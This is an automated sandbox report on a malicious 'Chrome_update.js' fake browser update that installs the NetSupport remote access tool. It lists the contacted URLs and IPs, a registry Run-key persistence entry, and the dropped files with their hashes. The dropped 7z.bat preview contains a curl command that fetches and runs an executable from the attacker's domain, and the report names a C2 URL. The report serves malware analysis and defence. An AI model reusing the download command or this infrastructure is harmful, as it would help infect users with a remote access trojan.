https://www.chiark.greenend.org.uk/~sgtatham/putty/0	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://%s/fakeurl.htm	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.911218800.000000006F080000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.15.dr	false	Avira URL Cloud: safe	low
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp8_(	client32.exe, 00000012.00000003.428077600.0000000006282000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428827308.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.423017250.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424012321.000000000625D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.426304165.0000000006263000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424450797.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.423094602.000000000625D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.418804352.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.427853705.0000000006282000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428424253.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.422749406.0000000006262000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.424666384.0000000006263000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	curl.exe, 00000006.00000002.395193868.000001925B637000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	curl.exe, 00000004.00000002.391796622.0000023B8DD50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspe	client32.exe, 00000012.00000003.428827308.0000000006259000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000003.428424253.0000000006259000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, client32.exe.15.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
https://magydostravel.com/cdn/zwmrqqgqnaww.php	CacheURL.dat.15.dr	false	Avira URL Cloud: malware	unknown
http://www.symauth.com/rpa00	7zz.exe, 0000000F.00000003.399920793.0000000002836000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002366000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.15.dr, TCCTL32.DLL.15.dr, remcmdstub.exe.15.dr, pcicapi.dll.15.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7zz.exe, 0000000F.00000003.400934224.0000000002363000.00000004.00000020.00020000.00000000.sdmp, putty.exe.15.dr	false	URL Reputation: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee	wscript.exe, 00000000.00000003.413730350.00000187DE6EC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.385274963.00000187DE6E3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.413975275.00000187DC98F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.416738367.00000187DC96C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.414042240.00000187DC96C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	wscript.exe, 00000000.00000003.413730350.00000187DE6EC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.413870529.00000187DE6F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp11(L	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?8	wscript.exe, 00000000.00000002.418793988.00000187DCA28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp	7zz.exe, 0000000F.00000003.399920793.0000000002491000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000012.00000002.910328086.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.424787693.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000017.00000002.442479428.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.127.230.147	mangoairsoft.com	Russian Federation	56694	DHUBRU	true
94.158.247.23	unknown	Moldova Republic of	39798	MIVOCLOUDMD	true
62.172.138.67	geography.netsupportsoftware.com	United Kingdom	5400	BTGB	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1284200
Start date and time:	2023-08-02 10:11:53 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Chrome_update.js
Detection:	MAL
Classification:	mal96.troj.evad.winJS@40/37@5/4
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 88.6% (good quality ratio 85.2%) Quality average: 86.6% Quality standard deviation: 23.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 58
Cookbook Comments:	Found application associated with file extension: .js Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:13:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe
10:13:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CachedX C:\ProgramData\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.172.138.67	8xW3tocJ6B.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	RNdbR3uRmZ.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	local-EN.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	shdeulerinstall.lnk	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	bRGk8rpf6M.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	tqWIHaQ2EZ.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	sq36TjF9Sk.exe	Get hash	malicious	Nymaim	Browse	geo.netsupportsoftware.com/location/loca.asp
	yOUWkF8AHi.exe	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	Browser_update.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	8bx1ECBJPP.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	i7gVJvg3pD.js	Get hash	malicious	Unknown	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	uTwPUdjJJn.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	QBupI0m2tr.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	2023_vp.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp
	vp2023.exe	Get hash	malicious	CryptOne	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geography.netsupportsoftware.com	8xW3tocJ6B.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	5r5RuD1r4x.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	jqCED7njWa.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	EN-localer.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	51.142.119.24
	RNdbR3uRmZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	local-EN.hta	Get hash	malicious	Cobalt Strike, NetSupport RAT	Browse	62.172.138.67
	shdeulerinstall.lnk	Get hash	malicious	NetSupport RAT	Browse	62.172.138.67
	BP6R1D2cOd.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	bRGk8rpf6M.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	tqWIHaQ2EZ.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	mitljPgJ0K.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	sq36TjF9Sk.exe	Get hash	malicious	Nymaim	Browse	62.172.138.67
	yOUWkF8AHi.exe	Get hash	malicious	Unknown	Browse	62.172.138.67
	Ae8DId1ZVs.exe	Get hash	malicious	Unknown	Browse	62.172.138.8
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	62.172.138.67
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.67
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	62.172.138.8
	PurchaseOrder.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	a6PzqKcp6K.exe	Get hash	malicious	Unknown	Browse	51.142.119.24
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	51.142.119.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DHUBRU	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	Chrome_update.js	Get hash	malicious	Unknown	Browse	152.89.218.150
	http://itsdigitalshiva.com	Get hash	malicious	Unknown	Browse	185.9.147.166
	https://altiordp.com/cdn-js/wds.min.php	Get hash	malicious	Unknown	Browse	188.127.225.232
	tUUPQygorhzFkIcHuB.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	VjFeSeLhGMruZwwyqsIvUMXvstQqpgFfbYh.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2_1.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	KjMLNNlbSwRjEriciGnpqBNGGsSj.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.231
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	sett.bat	Get hash	malicious	Unknown	Browse	188.127.225.160
	h60FUiSRcC.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	2023-07-12-Gozi.dll	Get hash	malicious	Ursnif, Strela Stealer	Browse	91.199.147.95
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	niqS1law5h.js	Get hash	malicious	Unknown	Browse	188.127.225.160
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91
	Chrome_update.js	Get hash	malicious	Unknown	Browse	188.127.227.91

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PURCHASE_ORDER.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	BuDi9SwQKg.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	Loading.hta	Get hash	malicious	Unknown	Browse	188.127.230.147
	Shipment_document.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	PO_H0001.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	103603-81075327-LBP23103603039.pdf.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	2082023_ACB_-_91xxxxx8.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	inquiry.gz.exe	Get hash	malicious	AveMaria, DarkTortilla, UACMe	Browse	188.127.230.147
	SecuriteInfo.com.Win32.TrojanX-gen.20453.16698.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	SecuriteInfo.com.Variant.MSILHeracles.99664.10813.18235.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	vneROOOdoO.exe	Get hash	malicious	MinerDownloader, Xmrig	Browse	188.127.230.147
	SC_3_3_0_50327.msi	Get hash	malicious	Unknown	Browse	188.127.230.147
	P.O_2023-037.exe	Get hash	malicious	AgentTesla	Browse	188.127.230.147
	u9bVqOPg1k.exe	Get hash	malicious	DCRat	Browse	188.127.230.147
	UiEC2gnec2.exe	Get hash	malicious	RedLine	Browse	188.127.230.147
	http://159.203.224.34	Get hash	malicious	Unknown	Browse	188.127.230.147
	PRy3ecrg25.exe	Get hash	malicious	DCRat	Browse	188.127.230.147
	file.exe	Get hash	malicious	RedLine	Browse	188.127.230.147
	enc.hta	Get hash	malicious	Cobalt Strike	Browse	188.127.230.147
	l9Ak6sEIvY.exe	Get hash	malicious	Xmrig	Browse	188.127.230.147

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\7z.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.2705539432340505
Encrypted:	false
SSDEEP:	6:CxBR2WXp+N23f7fFlCe8UlLAHbKx4/mWB1WXp+N23fmvn:cnHDfFADC0ve1+v
MD5:	5E4CD674AF2CD6A1D70DCA016DBFE48D
SHA1:	745DA26B32D93A424BD117E8A432B90722E3F438
SHA-256:	118B309EA9A4D1041EC6EE4B6104217D8928D631FF2B74211E6398817D8E71DB
SHA-512:	8F17708CB62CE2C8F85580AFFF240BB1CEF7D50FD7885D795D535D26A48903995D789AD713B88CBCD6CAAED5F6CCBEAA70A379E0FC4CF100333971C17CB832D5
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/7zz.exe" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe" ) .."C:\Users\user\AppData\Local\Temp/7zz.exe"..

C:\ProgramData\7zz.exe

Process:	C:\Windows\System32\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	587776
Entropy (8bit):	6.439962628647099
Encrypted:	false
SSDEEP:	12288:myyKdVnyNhXCV4EkP7AIfzNXZ0b5NrnkcAqIV0A1caRI:mKvyNhXCV4E8BXAfrnkcAqU0A
MD5:	42BADC1D2F03A8B1E4875740D3D49336
SHA1:	CEE178DA1FB05F99AF7A3547093122893BD1EB46
SHA-256:	C136B1467D669A725478A6110EBAAAB3CB88A3D389DFA688E06173C066B76FCF
SHA-512:	6BC519A7368EE6BD8C8F69F2D634DD18799B4CA31FBC284D2580BA625F3A88B6A52D2BC17BEA0E75E63CA11C10356C47EE00C2C500294ABCB5141424FC5DC71C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.rR9p..9p..9p..Bl..;p...l.. p...V..[p...xC.8p..9p...p...xA.>p...V...p..V....p..V...;p...v..8p..Rich9p..................PE..L....S.L............................L.............@.........................................................................\...P.......(...............................................................................P............................text............................... ..`.rdata..............................@..@.data............l..................@....sxdata.............................@....rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CacheURL.dat

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.448934896284057
Encrypted:	false
SSDEEP:	3:N8YW2TdBLESqNXLEXNCv:2YLTdB6NgXS
MD5:	39F6D8FA3BD905E03B0CC8CC16707E2B
SHA1:	872DCC92BFF8F52A8F6BD1905F959C991C607472
SHA-256:	54B920F5B87019FCF313BEC4D9F4639A932B8268E5183B29804E91E29ED6F726
SHA-512:	B9C726C0164AAB96D53795202C95591285FAAE8D882E0F0B6601189011C085349969ADF484947F0CBC64966A4A6593F483B8A32E9778E741D24519CF17D04B1E
Malicious:	false
Reputation:	unknown
Preview:	https://magydostravel.com/cdn/zwmrqqgqnaww.php..

C:\ProgramData\HTCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.7547459359511395
Encrypted:	false
SSDEEP:	6144:Hib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKB:Hib5YbsXioEgULFpSzya9/lY5SilQCfR
MD5:	C94005D2DCD2A54E40510344E0BB9435
SHA1:	55B4A1620C5D0113811242C20BD9870A1E31D542
SHA-256:	3C072532BF7674D0C5154D4D22A9D9C0173530C0D00F69911CDBC2552175D899
SHA-512:	2E6F673864A54B1DCAD9532EF9B18A9C45C0844F1F53E699FADE2F41E43FA5CBC9B8E45E6F37B95F84CF6935A96FBA2950EE3E0E9542809FD288FEFBA34DDD6A
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......._....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HTML_Obj_list.txt

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.25628025837569
Encrypted:	false
SSDEEP:	6:0MUIbLESrO4ywjsKVw1ASywzJHI3Sc8klIoAhHFN1zNseIR3VwWzt3YYn:0M+74+KAAObelqrU1YYn
MD5:	3FA98AC589AC2B284F4D625A620D66BC
SHA1:	6E473A2A0C95367A61AB98AAD4472577246E42F0
SHA-256:	D9AE5DC5F2C4964C1E7BA3BE64CBA37F3043484DB9056D3A828102275D7D4101
SHA-512:	FA4BB059BFB9305CBB0DA36B8AE51ACD3EBC151616FBD711494A3F60353C915BE947F24AF81145920F6F4AE234712B6F5223A630E3C1748B2D8E79A3D648BAD0
Malicious:	false
Reputation:	unknown
Preview:	<script;>;</script>.. onLoad;";".. onunload;";".. onchange;";".. onsubmit;";".. onreset;";".. onselect;";".. onblur;";".. onfocus;";".. onkeydown;";".. onkeypress;";".. onkeyup;";".. onclick;";".. ondblclick;";".. onmousedown;";".. onmousemove;";".. onmouseout;";".. onmouseover;";".. onmouseup;";"

C:\ProgramData\NSM.LIC

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.1458289587885675
Encrypted:	false
SSDEEP:	6:O/oPDvXk4xRPjwx3LzX81DKHMoEEjLgpW2MorGLUfKdYpPM/ioxTKa8l6i7s:X7XZR7wx3LzXBJjjqW2M23KKPM/iox7X
MD5:	1B41E64C60CA9DFADEB063CD822AB089
SHA1:	ABFCD51BB120A7EAE5BBD9A99624E4ABE0C9139D
SHA-256:	F4E2F28169E0C88B2551B6F1D63F8BA513FEB15BEACC43A82F626B93D673F56D
SHA-512:	C97E0EABEA62302A4CFEF974AC309F3498505DD055BA74133EE2462E215B3EBC5C647E11BCBAC1246B9F750B5D09240CA08A6B617A7007F2FA955F6B6DD7FEE4
Malicious:	false
Reputation:	unknown
Preview:	1200..0xa353ff01....; NetSupport License File...; Generated on 14:45 - 17/07/2022........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=HANEYMANEY..maxslaves=8888..os2=1..product=10..serial_no=NSM385736..shrink_wrap=0..transport=0..

C:\ProgramData\NSM.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [Features]
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\ProgramData\PCICHEK.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.292094060787929
Encrypted:	false
SSDEEP:	192:dogL7bo2t6n76RRHirmH/L7jtd3hfwjKd3hfwB7bjuZRvI:dogL7bo2YrmRTAKT0iTI
MD5:	104B30FEF04433A2D2FD1D5F99F179FE
SHA1:	ECB08E224A2F2772D1E53675BEDC4B2C50485A41
SHA-256:	956B9FA960F913CCE3137089C601F3C64CC24C54614B02BBA62ABB9610A985DD
SHA-512:	5EFCAA8C58813C3A0A6026CD7F3B34AD4FB043FD2D458DB2E914429BE2B819F1AC74E2D35E4439601CF0CB50FCDCAFDCF868DA328EAAEEC15B0A4A6B8B2C218F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`.......U....@.........................@#..r...h!..P....@............... ..x)...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\PCICL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3740024
Entropy (8bit):	6.527276298837004
Encrypted:	false
SSDEEP:	49152:0KJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJa:0KJ/zIPq7F4fmXO8u6kS+y/
MD5:	D3D39180E85700F72AAAE25E40C125FF
SHA1:	F3404EF6322F5C6E7862B507D05B8F4B7F1C7D15
SHA-256:	38684ADB2183BF320EB308A96CDBDE8D1D56740166C3E2596161F42A40FA32D5
SHA-512:	471AC150E93A182D135E5483D6B1492F08A49F5CCAB420732B87210F2188BE1577CEAAEE4CE162A7ACCEFF5C17CDD08DC51B1904228275F6BBDE18022EC79D2F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....Y.9.............................p................p................8.x)...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\ProgramData\PScripts\insert_delimiter.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	3.2151299174173276
Encrypted:	false
SSDEEP:	24:QesElfxUbrVQwd8fYLAgcti3fwTONDKA2tCO4YTONQO2ONDIc4TWoV:LdxUbZ7Jc8fwTOgvv4YTOp2OCcGV
MD5:	3C0C93F687DCE4D43BDB60237BBD0B54
SHA1:	D66CA3BC8AD49532ECD1B22241650C24DE801BA7
SHA-256:	4B460FDE39403B5FC251388363565BDCF4B3EB1FD23873154EFE61E6FC482042
SHA-512:	06614A9C48B904D616AC2B60A9DF06ECA67A0EAB15A700563D98B10CB0F0461C0F978EC4289328AEAD6561226DF1391E973B8D1C1EA58822F6CF57183F525A33
Malicious:	false
Reputation:	unknown
